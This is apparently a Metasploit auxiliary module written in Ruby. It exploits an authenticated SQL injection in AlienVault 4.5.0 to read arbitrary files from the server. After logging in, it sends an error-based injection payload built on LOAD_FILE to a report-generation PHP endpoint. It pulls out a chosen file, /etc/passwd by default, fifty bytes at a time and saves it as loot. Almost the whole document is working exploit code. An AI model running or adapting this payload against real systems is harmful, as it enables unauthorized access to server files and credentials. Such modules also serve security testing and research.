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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "AlienVault Authenticated SQL Injection Arbitrary File Read",
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      'Description'    => %q{
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        AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG
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        generation PHP file. This module exploits this to read an arbitrary file from
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        the file system. Any authenticated user is able to exploit it, as administrator
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        privileges aren't required.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module
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        ],
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      'References'     =>
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        [
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          ['EDB', '32644']
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        ],
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      'DefaultOptions'  =>
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        {
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          'SSL' => true
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        },
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      'Platform'       => ['linux'],
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      'Privileged'     => false,
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      'DisclosureDate' => '2014-03-30'))
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      register_options(
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      [
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        Opt::RPORT(443),
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        OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),
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        OptString.new('USERNAME', [ true, 'Single username' ]),
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        OptString.new('PASSWORD', [ true, 'Single password' ]),
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        OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ])
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      ])
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  end
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  def run
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    print_status("Get a valid session cookie...")
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
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    })
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    unless res and res.code == 200
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      print_error("Server did not respond in an expected way")
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      return
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    end
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    cookie = res.get_cookies
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    if cookie.blank?
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      print_error("Could not retrieve a cookie")
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      return
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    end
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    post = {
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      'embed' => '',
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      'bookmark_string' => '',
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      'user' => datastore['USERNAME'],
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      'passu' => datastore['PASSWORD'],
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      'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])
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    }
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    print_status("Login...")
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),
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      'method' => 'POST',
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      'vars_post' => post,
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      'cookie' => cookie
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    })
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    unless res and res.code == 302
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      print_error("Server did not respond in an expected way")
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      return
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    end
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    unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
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      print_error("Authentication failed")
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      return
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    end
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    cookie = res.get_cookies
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    if cookie.blank?
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      print_error("Could not retrieve the authenticated cookie")
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      return
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    end
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    i = 0
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    full = ''
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    filename = datastore['FILEPATH'].unpack("H*")[0]
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    left_marker = Rex::Text.rand_text_alpha(6)
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    right_marker = Rex::Text.rand_text_alpha(6)
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    print_status("Exploiting SQLi...")
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    loop do
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      file = sqli(left_marker, right_marker, i, cookie, filename)
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      return if file.nil?
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      break if file.empty?
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      str = [file].pack("H*")
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      full << str
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      vprint_status(str)
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      i = i+1
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    end
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    path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])
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    print_good("File stored at path: " + path)
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  end
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  def sqli(left_marker, right_marker, i, cookie, filename)
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    pay =  "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
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    pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
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    pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
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    pay << " GROUP BY x)a) AND 'xnDa'='xnDa"
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    get = {
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      'date_from' => pay,
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      'date_to' => '2014-03-30'
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    }
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, 'ossim', 'report', 'BusinessAndComplianceISOPCI', 'ISO27001Bar1.php'),
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      'cookie' => cookie,
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      'vars_get' => get
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    })
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    if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/
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      return $1
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    else
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      print_error("Server did not respond in an expected way")
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      return nil
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    end
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  end
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end
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